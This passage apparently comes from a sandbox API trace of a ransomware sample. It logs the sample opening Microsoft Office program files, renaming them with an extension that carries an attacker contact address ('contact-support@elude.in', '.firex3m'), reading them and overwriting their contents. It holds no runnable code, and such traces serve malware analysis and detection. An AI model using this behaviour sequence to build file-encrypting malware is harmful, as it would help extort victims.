lpOverlapped=0x0 | out: lpBuffer=0x70ffde8*, lpNumberOfBytesWritten=0x343ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0158.672] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.672] WriteFile (in: hFile=0x410, lpBuffer=0x710b1e7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x710b1e7*, lpNumberOfBytesWritten=0x343ff0c*=0x20, lpOverlapped=0x0) returned 1 [0158.672] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.672] WriteFile (in: hFile=0x410, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x343ff0c*=0x4, lpOverlapped=0x0) returned 1 [0158.672] CloseHandle (hObject=0x410) returned 1 [0158.672] GetProcessHeap () returned 0x630000 [0158.672] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70ffde8 | out: hHeap=0x630000) returned 1 [0158.672] GetProcessHeap () returned 0x630000 [0158.672] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70f49b8 | out: hHeap=0x630000) returned 1 [0158.672] GetProcessHeap () returned 0x630000 [0158.672] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7176020 | out: hHeap=0x630000) returned 1 [0158.672] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x343ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0158.673] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME51.CSS.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x343fcc4 | out: lpFindFileData=0x343fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xacf29e7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xacf29e7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2486e601, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1df8c, dwReserved0=0xc6c7496, dwReserved1=0x70f49b0, cFileName="SCHEME51.CSS.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SCA925~1.FIR")) returned 0x6d5580 [0158.673] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0158.673] Sleep (dwMilliseconds=0x1) [0160.631] SysReAllocStringLen (in: pbstr=0x343ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\trdtv2r41.xsl", len=0x67 | out: pbstr=0x343ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\trdtv2r41.xsl") returned 1 [0160.631] GetProcessHeap () returned 0x630000 [0160.631] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2bec) returned 0x707d3d0 [0160.631] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\trdtv2r41.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\trdtv2r41.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0160.631] CloseHandle (hObject=0x4b8) returned 1 [0160.631] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x343ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0160.632] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\trdtv2r41.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\trdtv2r41.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\trdtv2r41.xsl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\trdtv2r41.xsl.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0160.632] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x343ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0160.632] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\trdtv2r41.xsl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x343fc6c | out: lpFindFileData=0x343fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1662bb01, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1662bb01, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16651cf9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6c42, dwReserved0=0x740063, dwReserved1=0x73002d, cFileName="trdtv2r41.xsl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TRDTV2~1.FIR")) returned 0x6d5340 [0160.633] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0160.633] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\trdtv2r41.xsl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\trdtv2r41.xsl.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0160.633] GetProcessHeap () returned 0x630000 [0160.633] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x6c61) returned 0x72a6370 [0160.633] GetProcessHeap () returned 0x630000 [0160.633] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x6c61) returned 0x71d5490 [0160.634] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.634] ReadFile (in: hFile=0x4b8, lpBuffer=0x72a6370, nNumberOfBytesToRead=0x6c40, lpNumberOfBytesRead=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72a6370*, lpNumberOfBytesRead=0x343ff0c*=0x6c40, lpOverlapped=0x0) returned 1 [0164.609] GetProcessHeap () returned 0x630000 [0164.609] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7316e60 [0164.609] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.609] WriteFile (in: hFile=0x4b8, lpBuffer=0x71d5490*, nNumberOfBytesToWrite=0x6c40, lpNumberOfBytesWritten=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71d5490*, lpNumberOfBytesWritten=0x343ff0c*=0x6c40, lpOverlapped=0x0) returned 1 [0164.609] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.610] WriteFile (in: hFile=0x4b8, lpBuffer=0x71dc0cf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71dc0cf*, lpNumberOfBytesWritten=0x343ff0c*=0x20, lpOverlapped=0x0) returned 1 [0164.610] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.610] WriteFile (in: hFile=0x4b8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x343ff0c*=0x4, lpOverlapped=0x0) returned 1 [0164.610] CloseHandle (hObject=0x4b8) returned 1 [0164.610] GetProcessHeap () returned 0x630000 [0164.610] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71d5490 | out: hHeap=0x630000) returned 1 [0164.611] GetProcessHeap () returned 0x630000 [0164.611] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72a6370 | out: hHeap=0x630000) returned 1 [0164.611] GetProcessHeap () returned 0x630000 [0164.611] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7316e60 | out: hHeap=0x630000) returned 1 [0164.611] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x343ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0164.611] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\trdtv2r41.xsl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x343fcc4 | out: lpFindFileData=0x343fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1662bb01, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1662bb01, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x28105ba6, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x6c66, dwReserved0=0xc6c7496, dwReserved1=0x72a6368, cFileName="trdtv2r41.xsl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TRDTV2~1.FIR")) returned 0x6d5280 [0164.612] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0164.612] Sleep (dwMilliseconds=0x1) [0165.605] SysReAllocStringLen (in: pbstr=0x343ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1028\\PowerPivotExcelClientAddIn.rll", len=0x7c | out: pbstr=0x343ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1028\\PowerPivotExcelClientAddIn.rll") returned 1 [0165.605] GetProcessHeap () returned 0x630000 [0165.605] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2bc4) returned 0x707d3d0 [0165.605] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1028\\PowerPivotExcelClientAddIn.rll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1028\\powerpivotexcelclientaddin.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e4 [0166.852] CloseHandle (hObject=0x5e4) returned 1 [0166.852] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x343ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0166.853] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1028\\PowerPivotExcelClientAddIn.rll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1028\\powerpivotexcelclientaddin.rll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1028\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1028\\powerpivotexcelclientaddin.rll.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0173.793] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x343ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0173.793] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1028\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x343fc6c | out: lpFindFileData=0x343fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xffd42fe2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffd42fe2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x106c0, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERP~1.FIR")) returned 0x6d5540 [0173.794] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0173.794] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1028\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1028\\powerpivotexcelclientaddin.rll.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e4 [0173.794] GetProcessHeap () returned 0x630000 [0173.794] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x734a098 [0173.794] GetProcessHeap () returned 0x630000 [0173.794] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x73554c8 [0173.794] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.794] ReadFile (in: hFile=0x5e4, lpBuffer=0x734a098, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x734a098*, lpNumberOfBytesRead=0x343ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0180.409] GetProcessHeap () returned 0x630000 [0180.409] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318440 [0180.410] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.410] WriteFile (in: hFile=0x5e4, lpBuffer=0x73554c8*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x73554c8*, lpNumberOfBytesWritten=0x343ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0180.410] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.410] WriteFile (in: hFile=0x5e4, lpBuffer=0x73608c7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x73608c7*, lpNumberOfBytesWritten=0x343ff0c*=0x20, lpOverlapped=0x0) returned 1 [0180.411] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.411] WriteFile (in: hFile=0x5e4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x343ff0c*=0x4, lpOverlapped=0x0) returned 1 [0180.411] CloseHandle (hObject=0x5e4) returned 1 [0180.411] GetProcessHeap () returned 0x630000 [0180.411] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73554c8 | out: hHeap=0x630000) returned 1 [0180.411] GetProcessHeap () returned 0x630000 [0180.411] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x734a098 | out: hHeap=0x630000) returned 1 [0182.655] GetProcessHeap () returned 0x630000 [0182.689] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318440 | out: hHeap=0x630000) returned 1 [0182.689] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x343ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0182.689] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1028\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x343fcc4 | out: lpFindFileData=0x343fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xffd42fe2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffd42fe2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x317a8f97, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x106e4, dwReserved0=0xc6c7496, dwReserved1=0x734a090, cFileName="PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERP~1.FIR")) returned 0x6d5280 [0182.690] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0182.690] Sleep (dwMilliseconds=0x1) [0184.733] SysReAllocStringLen (in: pbstr=0x343ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_K_COL.HXK", len=0x46 | out: pbstr=0x343ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_K_COL.HXK") returned 1 [0184.733] GetProcessHeap () returned 0x630000 [0184.733] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2a28) returned 0x707d3d0 [0184.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x688 [0184.734] CloseHandle (hObject=0x688) returned 1 [0184.734] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x343ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0184.734] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_k_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_k_col.hxk.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0184.735] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x343ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0184.735] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x343fc6c | out: lpFindFileData=0x343fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae70165, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="SKYPEFB_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SK8748~1.FIR")) returned 0x6d5280 [0184.735] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0184.735] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_k_col.hxk.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x688 [0184.736] GetProcessHeap () returned 0x630000 [0184.736] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x81) returned 0x6a4628 [0184.736] GetProcessHeap () returned 0x630000 [0184.736] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x81) returned 0x6a46b8 [0184.736] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.736] ReadFile (in: hFile=0x688, lpBuffer=0x6a4628, nNumberOfBytesToRead=0x60, lpNumberOfBytesRead=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a4628*, lpNumberOfBytesRead=0x343ff0c*=0x60, lpOverlapped=0x0) returned 1 [0184.737] GetProcessHeap () returned 0x630000 [0184.737] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318558 [0184.737] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.737] WriteFile (in: hFile=0x688, lpBuffer=0x6a46b8*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a46b8*, lpNumberOfBytesWritten=0x343ff0c*=0x60, lpOverlapped=0x0) returned 1 [0184.737] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.737] WriteFile (in: hFile=0x688, lpBuffer=0x6a4717*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a4717*, lpNumberOfBytesWritten=0x343ff0c*=0x20, lpOverlapped=0x0) returned 1 [0184.737] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.738] WriteFile (in: hFile=0x688, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x343ff0c*=0x4, lpOverlapped=0x0) returned 1 [0184.738] CloseHandle (hObject=0x688) returned 1 [0184.738] GetProcessHeap () returned 0x630000 [0184.738] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a46b8 | out: hHeap=0x630000) returned 1 [0184.738] GetProcessHeap () returned 0x630000 [0184.738] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a4628 | out: hHeap=0x630000) returned 1 [0184.738] GetProcessHeap () returned 0x630000 [0184.738] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318558 | out: hHeap=0x630000) returned 1 [0184.738] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x343ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0184.738] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x343fcc4 | out: lpFindFileData=0x343fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae70165, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x340f61ed, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x95, dwReserved0=0x343fd20, dwReserved1=0x6a4628, cFileName="SKYPEFB_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SK8748~1.FIR")) returned 0x6d5280 [0184.738] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0184.738] Sleep (dwMilliseconds=0x1) [0186.766] SysReAllocStringLen (in: pbstr=0x343ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\word2013bw.dotx", len=0x50 | out: pbstr=0x343ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\word2013bw.dotx") returned 1 [0186.766] GetProcessHeap () returned 0x630000 [0186.766] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x29d4) returned 0x707d3d0 [0186.767] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\word2013bw.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\word2013bw.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434 [0186.767] CloseHandle (hObject=0x434) returned 1 [0186.767] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x343ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0186.793] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\word2013bw.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\word2013bw.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\word2013bw.dotx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\word2013bw.dotx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0186.794] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x343ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0186.794] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\word2013bw.dotx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x343fc6c | out: lpFindFileData=0x343fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae70165, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, 